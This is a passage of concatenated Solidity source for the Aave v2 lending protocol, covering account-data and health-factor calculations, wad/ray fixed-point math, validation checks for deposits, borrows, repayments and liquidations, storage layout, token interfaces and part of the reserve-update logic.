mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap memory userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { CalculateUserAccountDataVars memory vars; if (userConfig.isEmpty()) { return (0, 0, 0, 0, uint256(-1)); } for (vars.i = 0; vars.i < reservesCount; vars.i++) { if (!userConfig.isUsingAsCollateralOrBorrowing(vars.i)) { continue; } vars.currentReserveAddress = reserves[vars.i]; DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress]; (vars.ltv, vars.liquidationThreshold, , vars.decimals, ) = currentReserve .configuration .getParams(); vars.tokenUnit = 10**vars.decimals; vars.reserveUnitPrice = IPriceOracleGetter(oracle).getAssetPrice(vars.currentReserveAddress); if (vars.liquidationThreshold != 0 && userConfig.isUsingAsCollateral(vars.i)) { vars.compoundedLiquidityBalance = IERC20(currentReserve.aTokenAddress).balanceOf(user); uint256 liquidityBalanceETH = vars.reserveUnitPrice.mul(vars.compoundedLiquidityBalance).div(vars.tokenUnit); vars.totalCollateralInETH = vars.totalCollateralInETH.add(liquidityBalanceETH); vars.avgLtv = vars.avgLtv.add(liquidityBalanceETH.mul(vars.ltv)); vars.avgLiquidationThreshold = vars.avgLiquidationThreshold.add( liquidityBalanceETH.mul(vars.liquidationThreshold) ); } if (userConfig.isBorrowing(vars.i)) { vars.compoundedBorrowBalance = IERC20(currentReserve.stableDebtTokenAddress).balanceOf( user ); vars.compoundedBorrowBalance = vars.compoundedBorrowBalance.add( IERC20(currentReserve.variableDebtTokenAddress).balanceOf(user) ); vars.totalDebtInETH = vars.totalDebtInETH.add( vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit) ); } } vars.avgLtv = vars.totalCollateralInETH > 0 ? vars.avgLtv.div(vars.totalCollateralInETH) : 0; vars.avgLiquidationThreshold = vars.totalCollateralInETH > 0 ? vars.avgLiquidationThreshold.div(vars.totalCollateralInETH) : 0; vars.healthFactor = calculateHealthFactorFromBalances( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLiquidationThreshold ); return ( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLtv, vars.avgLiquidationThreshold, vars.healthFactor ); } /** * @dev Calculates the health factor from the corresponding balances * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total debt in ETH * @param liquidationThreshold The avg liquidation threshold * @return The health factor calculated from the balances provided **/ function calculateHealthFactorFromBalances( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 liquidationThreshold ) internal pure returns (uint256) { if (totalDebtInETH == 0) return uint256(-1); return (totalCollateralInETH.percentMul(liquidationThreshold)).wadDiv(totalDebtInETH); } /** * @dev Calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the * average Loan To Value * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total borrow balance * @param ltv The average loan to value * @return the amount available to borrow in ETH for the user **/ function calculateAvailableBorrowsETH( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 ltv ) internal pure returns (uint256) { uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv); if (availableBorrowsETH < totalDebtInETH) { return 0; } availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH); return availableBorrowsETH; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title Helpers library * @author Aave */ library Helpers { /** * @dev Fetches the user current stable and variable debt balances * @param user The user address * @param reserve The reserve data object * @return The stable and variable debt balance **/ function getUserCurrentDebt(address user, DataTypes.ReserveData storage reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } function getUserCurrentDebtMemory(address user, DataTypes.ReserveData memory reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return halfRAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return halfWAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {Helpers} from '../helpers/Helpers.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 4000; uint256 public constant REBALANCE_UP_USAGE_RATIO_THRESHOLD = 0.95 * 1e27; //usage ratio of 95% /** * @dev Validates a deposit action * @param reserve The reserve object on which the user is depositing * @param amount The amount to be deposited */ function validateDeposit(DataTypes.ReserveData storage reserve, uint256 amount) external view { (bool isActive, bool isFrozen, , ) = reserve.configuration.getFlags(); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); } /** * @dev Validates a withdraw action * @param reserveAddress The address of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user * @param reservesData The reserves state * @param userConfig The user configuration * @param reserves The addresses of the reserves * @param reservesCount The number of reserves * @param oracle The price oracle */ function validateWithdraw( address reserveAddress, uint256 amount, uint256 userBalance, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { require(amount != 0, Errors.VL_INVALID_AMOUNT); require(amount <= userBalance, Errors.VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE); (bool isActive, , , ) = reservesData[reserveAddress].configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require( GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, amount, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_TRANSFER_NOT_ALLOWED ); } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 currentLiquidationThreshold; uint256 amountOfCollateralNeededETH; uint256 userCollateralBalanceETH; uint256 userBorrowBalanceETH; uint256 availableLiquidity; uint256 healthFactor; bool isActive; bool isFrozen; bool borrowingEnabled; bool stableRateBorrowingEnabled; } /** * @dev Validates a borrow action * @param asset The address of the asset to borrow * @param reserve The reserve state from which the user is borrowing * @param userAddress The address of the user * @param amount The amount to be borrowed * @param amountInETH The amount to be borrowed, in ETH * @param interestRateMode The interest rate mode at which the user is borrowing * @param maxStableLoanPercent The max amount of the liquidity that can be borrowed at stable rate, in percentage * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateBorrow( address asset, DataTypes.ReserveData storage reserve, address userAddress, uint256 amount, uint256 amountInETH, uint256 interestRateMode, uint256 maxStableLoanPercent, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { ValidateBorrowLocalVars memory vars; (vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled) = reserve .configuration .getFlags(); require(vars.isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!vars.isFrozen, Errors.VL_RESERVE_FROZEN); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(vars.borrowingEnabled, Errors.VL_BORROWING_NOT_ENABLED); //validate interest rate mode require( uint256(DataTypes.InterestRateMode.VARIABLE) == interestRateMode || uint256(DataTypes.InterestRateMode.STABLE) == interestRateMode, Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED ); ( vars.userCollateralBalanceETH, vars.userBorrowBalanceETH, vars.currentLtv, vars.currentLiquidationThreshold, vars.healthFactor ) = GenericLogic.calculateUserAccountData( userAddress, reservesData, userConfig, reserves, reservesCount, oracle ); require(vars.userCollateralBalanceETH > 0, Errors.VL_COLLATERAL_BALANCE_IS_0); require( vars.healthFactor > GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.amountOfCollateralNeededETH = vars.userBorrowBalanceETH.add(amountInETH).percentDiv( vars.currentLtv ); //LTV is calculated in percentage require( vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH, Errors.VL_COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity **/ if (interestRateMode == uint256(DataTypes.InterestRateMode.STABLE)) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || amount > IERC20(reserve.aTokenAddress).balanceOf(userAddress), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(asset).balanceOf(reserve.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(maxStableLoanPercent); require(amount <= maxLoanSizeStable, Errors.VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } } /** * @dev Validates a repay action * @param reserve The reserve state from which the user is repaying * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveData storage reserve, uint256 amountSent, DataTypes.InterestRateMode rateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) external view { bool isActive = reserve.configuration.getActive(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(amountSent > 0, Errors.VL_INVALID_AMOUNT); require( (stableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE) || (variableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.VARIABLE), Errors.VL_NO_DEBT_OF_SELECTED_TYPE ); require( amountSent != uint256(-1) || msg.sender == onBehalfOf, Errors.VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF ); } /** * @dev Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the borrow */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) external view { (bool isActive, bool isFrozen, , bool stableRateEnabled) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); if (currentRateMode == DataTypes.InterestRateMode.STABLE) { require(stableDebt > 0, Errors.VL_NO_STABLE_RATE_LOAN_IN_RESERVE); } else if (currentRateMode == DataTypes.InterestRateMode.VARIABLE) { require(variableDebt > 0, Errors.VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE); /** * user wants to swap to stable, before swapping we need to ensure that * 1. stable borrow rate is enabled on the reserve * 2. user is not trying to abuse the reserve by depositing * more collateral than he is borrowing, artificially lowering * the interest rate, borrowing at variable, and switching to stable **/ require(stableRateEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || stableDebt.add(variableDebt) > IERC20(reserve.aTokenAddress).balanceOf(msg.sender), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); } else { revert(Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED); } } /** * @dev Validates a stable borrow rate rebalance action * @param reserve The reserve state on which the user is getting rebalanced * @param reserveAddress The address of the reserve * @param stableDebtToken The stable debt token instance * @param variableDebtToken The variable debt token instance * @param aTokenAddress The address of the aToken contract */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, address reserveAddress, IERC20 stableDebtToken, IERC20 variableDebtToken, address aTokenAddress ) external view { (bool isActive, , , ) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); //if the usage ratio is below 95%, no rebalances are needed uint256 totalDebt = stableDebtToken.totalSupply().add(variableDebtToken.totalSupply()).wadToRay(); uint256 availableLiquidity = IERC20(reserveAddress).balanceOf(aTokenAddress).wadToRay(); uint256 usageRatio = totalDebt == 0 ? 0 : totalDebt.rayDiv(availableLiquidity.add(totalDebt)); //if the liquidity rate is below REBALANCE_UP_THRESHOLD of the max variable APR at 95% usage, //then we allow rebalancing of the stable rate positions. uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 maxVariableBorrowRate = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).getMaxVariableBorrowRate(); require( usageRatio >= REBALANCE_UP_USAGE_RATIO_THRESHOLD && currentLiquidityRate <= maxVariableBorrowRate.percentMul(REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD), Errors.LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET ); } /** * @dev Validates the action of setting an asset as collateral * @param reserve The state of the reserve that the user is enabling or disabling as collateral * @param reserveAddress The address of the reserve * @param reservesData The data of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateSetUseReserveAsCollateral( DataTypes.ReserveData storage reserve, address reserveAddress, bool useAsCollateral, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { uint256 underlyingBalance = IERC20(reserve.aTokenAddress).balanceOf(msg.sender); require(underlyingBalance > 0, Errors.VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0); require( useAsCollateral || GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, underlyingBalance, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_DEPOSIT_ALREADY_IN_USE ); } /** * @dev Validates a flashloan action * @param assets The assets being flashborrowed * @param amounts The amounts for each asset being borrowed **/ function validateFlashloan(address[] memory assets, uint256[] memory amounts) internal pure { require(assets.length == amounts.length, Errors.VL_INCONSISTENT_FLASHLOAN_PARAMS); } /** * @dev Validates the liquidation action * @param collateralReserve The reserve data of the collateral * @param principalReserve The reserve data of the principal * @param userConfig The user configuration * @param userHealthFactor The user's health factor * @param userStableDebt Total stable debt balance of the user * @param userVariableDebt Total variable debt balance of the user **/ function validateLiquidationCall( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage principalReserve, DataTypes.UserConfigurationMap storage userConfig, uint256 userHealthFactor, uint256 userStableDebt, uint256 userVariableDebt ) internal view returns (uint256, string memory) { if ( !collateralReserve.configuration.getActive() || !principalReserve.configuration.getActive() ) { return ( uint256(Errors.CollateralManagerErrors.NO_ACTIVE_RESERVE), Errors.VL_NO_ACTIVE_RESERVE ); } if (userHealthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD) { return ( uint256(Errors.CollateralManagerErrors.HEALTH_FACTOR_ABOVE_THRESHOLD), Errors.LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); } bool isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() > 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated if (!isCollateralEnabled) { return ( uint256(Errors.CollateralManagerErrors.COLLATERAL_CANNOT_BE_LIQUIDATED), Errors.LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED ); } if (userStableDebt == 0 && userVariableDebt == 0) { return ( uint256(Errors.CollateralManagerErrors.CURRRENCY_NOT_BORROWED), Errors.LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER ); } return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } /** * @dev Validates an aToken transfer * @param from The user from which the aTokens are being transferred * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateTransfer( address from, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view { (, , , , uint256 healthFactor) = GenericLogic.calculateUserAccountData( from, reservesData, userConfig, reserves, reservesCount, oracle ); require( healthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_TRANSFER_NOT_ALLOWED ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; contract LendingPoolStorage { using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; ILendingPoolAddressesProvider internal _addressesProvider; mapping(address => DataTypes.ReserveData) internal _reserves; mapping(address => DataTypes.UserConfigurationMap) internal _usersConfig; // the list of the available reserves, structured as a mapping for gas savings reasons mapping(uint256 => address) internal _reservesList; uint256 internal _reservesCount; bool internal _paused; uint256 internal _maxStableRateBorrowSizePercent; uint256 internal _flashLoanPremiumTotal; uint256 internal _maxNumberOfReserves; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableAToken * @notice Interface for the initialize function on AToken * @author Aave **/ interface IInitializableAToken { /** * @dev Emitted when an aToken is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param treasury The address of the treasury * @param incentivesController The address of the incentives controller for this aToken * @param aTokenDecimals the decimals of the underlying * @param aTokenName the name of the aToken * @param aTokenSymbol the symbol of the aToken * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address treasury, address incentivesController, uint8 aTokenDecimals, string aTokenName, string aTokenSymbol, bytes params ); /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IAaveIncentivesController { function handleAction( address user, uint256 userBalance, uint256 totalSupply ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableDebtToken * @notice Interface for the initialize function common between debt tokens * @author Aave **/ interface IInitializableDebtToken { /** * @dev Emitted when a debt token is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param incentivesController The address of the incentives controller for this aToken * @param debtTokenDecimals the decimals of the debt token * @param debtTokenName the name of the debt token * @param debtTokenSymbol the symbol of the debt token * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address incentivesController, uint8 debtTokenDecimals, string debtTokenName, string debtTokenSymbol, bytes params ); /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../../interfaces/IVariableDebtToken.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {MathUtils} from '../math/MathUtils.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements the logic to update the reserves state */ library ReserveLogic { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; /** * @dev Emitted when the state of a reserve is updated * @param asset The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed asset, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; /** * @dev Returns the ongoing normalized income for the reserve * A value of 1e27 means there is no income. As time passes, the income is accrued * A value of 2*1e27 means for each unit of asset one unit of income has been accrued * @param reserve The reserve object * @return the normalized income. expressed in ray **/ function getNormalizedIncome(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.liquidityIndex; } uint256 cumulated = MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul( reserve.liquidityIndex ); return cumulated; } /** * @dev Returns the ongoing normalized variable debt for the reserve * A value of 1e27 means there is no debt. As time passes, the income is accrued * A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated * @param reserve The reserve object * @return The normalized variable debt. expressed in ray **/ function getNormalizedDebt(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.variableBorrowIndex; } uint256 cumulated = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul( reserve.variableBorrowIndex ); return cumulated; } /** * @dev Updates the liquidity cumulative index and the variable borrow index. * @param reserve the reserve object **/ function updateState(DataTypes.ReserveData storage reserve) internal { uint256 scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply(); uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex; uint256 previousLiquidityIndex = reserve.liquidityIndex; uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp; (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) = _updateIndexes( reserve, scaledVariableDebt, previousLiquidityIndex, previousVariableBorrowIndex, lastUpdatedTimestamp ); _mintToTreasury( reserve, scaledVariableDebt, previousVariableBorrowIndex, newLiquidityIndex, newVariableBorrowIndex, lastUpdatedTimestamp ); } /** * @dev Accumulates a predefined amount of asset to the reserve as a fixed, instantaneous income. Used for example to accumulate * the flashloan fee to the reserve, and spread it between all the depositors * @param reserve The reserve object * @param totalLiquidity The total liquidity available in the reserve * @param amount The amount to accomulate **/ function cumulateToLiquidityIndex( DataTypes.ReserveData storage reserve, uint256 totalLiquidity, uint256 amount ) internal { uint256 amountToLiquidityRatio = amount.wadToRay().rayDiv(totalLiquidity.wadToRay()); uint256 result = amountToLiquidityRatio.add(WadRayMath.ray()); result = result.rayMul(reserve.liquidityIndex); require(result <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(result); } /** * @dev Initializes a reserve * @param reserve The reserve object * @param aTokenAddress The address of the overlying atoken contract * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function init( DataTypes.ReserveData storage reserve, address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, address interestRateStrategyAddress ) external { require(reserve.aTokenAddress == address(0), Errors.RL_RESERVE_ALREADY_INITIALIZED); reserve.liquidityIndex = uint128(WadRayMath.ray()); reserve.variableBorrowIndex = uint128(WadRayMath.ray()); reserve.aTokenAddress = aTokenAddress; 